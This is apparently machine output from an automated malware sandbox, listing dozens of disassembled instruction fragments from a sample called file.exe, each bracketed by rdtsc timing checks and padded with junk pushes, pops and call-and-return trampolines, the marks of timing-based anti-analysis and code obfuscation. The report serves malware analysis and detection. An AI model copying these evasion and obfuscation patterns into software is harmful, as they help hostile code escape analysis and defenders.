Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B41E second address: 86B496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 6E87071Ch 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FA67C81A868h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 add esi, dword ptr [ebp+122D3804h] 0x0000002d mov dword ptr [ebp+122D2587h], edi 0x00000033 mov esi, eax 0x00000035 call 00007FA67C81A869h 0x0000003a push edx 0x0000003b push edi 0x0000003c jmp 00007FA67C81A879h 0x00000041 pop edi 0x00000042 pop edx 0x00000043 push eax 0x00000044 pushad 0x00000045 jmp 00007FA67C81A874h 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B496 second address: 86B4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ebx 0x0000000b jmp 00007FA67D0802A6h 0x00000010 pop ebx 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA67D0802A7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B4D3 second address: 86B4DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B4DA second address: 86B4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jc 00007FA67D0802A4h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B4EE second address: 86B4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B604 second address: 86B608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B85D second address: 86B867 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA67C81A86Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86BAD3 second address: 86BAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86BC30 second address: 86BC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C487 second address: 86C48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C48D second address: 86C492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C5ED second address: 86C637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FA67D0802A3h 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 ja 00007FA67D08029Ch 0x00000016 jmp 00007FA67D0802A8h 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C637 second address: 86C63D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CAF6 second address: 86CB5D instructions: 0x00000000 rdtsc 0x00000002 je 00007FA67D080298h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FA67D08029Eh 0x00000012 nop 0x00000013 sbb di, 1E44h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007FA67D080298h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 jmp 00007FA67D0802A1h 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+122D2B8Ch], edi 0x00000041 xchg eax, ebx 0x00000042 jnp 00007FA67D08029Eh 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB5D second address: 86CB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jc 00007FA67C81A878h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CB6D second address: 86CB71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E510 second address: 86E5AB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA67C81A866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push edi 0x0000000e pop esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FA67C81A868h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b call 00007FA67C81A879h 0x00000030 mov dword ptr [ebp+122D1C79h], edi 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007FA67C81A868h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000016h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 push edi 0x00000054 call 00007FA67C81A876h 0x00000059 mov si, ax 0x0000005c pop esi 0x0000005d pop esi 0x0000005e mov si, 3A56h 0x00000062 xchg eax, ebx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E5AB second address: 86E5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F103 second address: 86F108 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86EDFC second address: 86EE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F108 second address: 86F11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA67C81A86Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86EE00 second address: 86EE16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86EE16 second address: 86EE1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86EE1A second address: 86EE26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F920 second address: 86F924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F924 second address: 86F938 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87083D second address: 87085D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87085D second address: 870861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870861 second address: 8708D1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA67C81A866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c jno 00007FA67C81A866h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FA67C81A868h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e jno 00007FA67C81A86Ch 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007FA67C81A868h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D1F49h], edx 0x00000056 push eax 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8708D1 second address: 8708D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872DF1 second address: 872DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871C9E second address: 871CB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D08029Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873431 second address: 873436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873436 second address: 87343C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87343C second address: 873448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877C6B second address: 877C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877C6F second address: 877C89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A86Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877C89 second address: 877C9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878B58 second address: 878B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877EA3 second address: 877EC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA67D0802A3h 0x0000000b popad 0x0000000c push eax 0x0000000d jo 00007FA67D0802A4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878CB5 second address: 878CBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879D2F second address: 879D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878CBB second address: 878D8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A874h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b js 00007FA67C81A868h 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007FA67C81A878h 0x00000018 popad 0x00000019 nop 0x0000001a mov ebx, eax 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov dword ptr [ebp+122D2A3Bh], esi 0x00000029 stc 0x0000002a mov dword ptr fs:[00000000h], esp 0x00000031 and bx, EC82h 0x00000036 mov eax, dword ptr [ebp+122D034Dh] 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007FA67C81A868h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 adc di, E1A9h 0x0000005b push FFFFFFFFh 0x0000005d push 00000000h 0x0000005f push esi 0x00000060 call 00007FA67C81A868h 0x00000065 pop esi 0x00000066 mov dword ptr [esp+04h], esi 0x0000006a add dword ptr [esp+04h], 00000018h 0x00000072 inc esi 0x00000073 push esi 0x00000074 ret 0x00000075 pop esi 0x00000076 ret 0x00000077 mov edi, dword ptr [ebp+122D2B14h] 0x0000007d jp 00007FA67C81A874h 0x00000083 nop 0x00000084 push eax 0x00000085 push edx 0x00000086 jmp 00007FA67C81A871h 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878D8D second address: 878DB5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FA67D08029Ah 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA67D08029Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879F37 second address: 879F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87AD12 second address: 87AD16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87AD16 second address: 87AD63 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA67C81A875h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FA67C81A879h 0x00000013 jmp 00007FA67C81A876h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87AEE0 second address: 87AEEB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87AEEB second address: 87AF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA67C81A878h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CD85 second address: 87CD9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67D0802A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BFE1 second address: 87BFE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87AF0C second address: 87AF13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CD9E second address: 87CDB1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA67C81A866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CDB1 second address: 87CDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CDB5 second address: 87CDBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CDBB second address: 87CDC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DDDD second address: 87DDE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DDE1 second address: 87DE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FA67D080298h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 jmp 00007FA67D08029Bh 0x00000029 mov dword ptr [ebp+122D369Bh], esi 0x0000002f push 00000000h 0x00000031 call 00007FA67D0802A9h 0x00000036 pushad 0x00000037 mov ecx, eax 0x00000039 popad 0x0000003a pop ebx 0x0000003b push 00000000h 0x0000003d mov bx, si 0x00000040 jmp 00007FA67D08029Fh 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DE51 second address: 87DE6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007FA67C81A871h 0x0000000b jmp 00007FA67C81A86Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DE6F second address: 87DE8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67D0802A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DE8B second address: 87DE95 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA67C81A86Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CF56 second address: 87CF5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CF5A second address: 87CF5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CF5E second address: 87CF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CF64 second address: 87CF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FA67C81A866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CF6E second address: 87CF72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DFF3 second address: 87DFF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DFF9 second address: 87DFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EF58 second address: 87F00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA67C81A878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007FA67C81A872h 0x00000010 nop 0x00000011 push esi 0x00000012 mov bl, 7Fh 0x00000014 pop ebx 0x00000015 push dword ptr fs:[00000000h] 0x0000001c cld 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007FA67C81A868h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 0000001Dh 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e cld 0x0000003f jmp 00007FA67C81A877h 0x00000044 mov eax, dword ptr [ebp+122D0071h] 0x0000004a mov ebx, dword ptr [ebp+122D375Ch] 0x00000050 push FFFFFFFFh 0x00000052 push ebx 0x00000053 jmp 00007FA67C81A86Bh 0x00000058 pop edi 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FA67C81A878h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F00E second address: 87F01E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA67D08029Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825A56 second address: 825A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825A5C second address: 825A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825A68 second address: 825A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825A6C second address: 825A8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA67D0802A8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F66 second address: 889F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F6F second address: 889F93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FA67D0802A7h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F93 second address: 889F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F76 second address: 882F80 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA67D08029Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F80 second address: 882FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FA67C81A86Fh 0x0000000c nop 0x0000000d mov di, bx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 jnc 00007FA67C81A86Ah 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007FA67C81A868h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 0000001Bh 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e mov dword ptr [ebp+1245A0D5h], edx 0x00000044 mov eax, dword ptr [ebp+122D03E5h] 0x0000004a mov edi, eax 0x0000004c push FFFFFFFFh 0x0000004e mov ebx, 40233AA9h 0x00000053 nop 0x00000054 push eax 0x00000055 push edx 0x00000056 js 00007FA67C81A86Ch 0x0000005c jo 00007FA67C81A866h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883E95 second address: 883E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
